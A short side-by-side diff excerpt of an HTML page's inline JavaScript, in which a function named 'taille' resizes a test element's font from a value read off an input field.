function taille() { function taille() {
var entree = document.getElementById("entree"); var entree = document.getElementById("entree");
var entree2 = document.getElementById("entree"); var entree2 = document.getElementById("entree");
@ -121,8 +133,6 @@
testTarget.style.fontSize = entree2.value / 130 + "rem" testTarget.style.fontSize = entree2.value / 130 + "rem"
} }
</script> </script>
</body> </body>
</html> </html>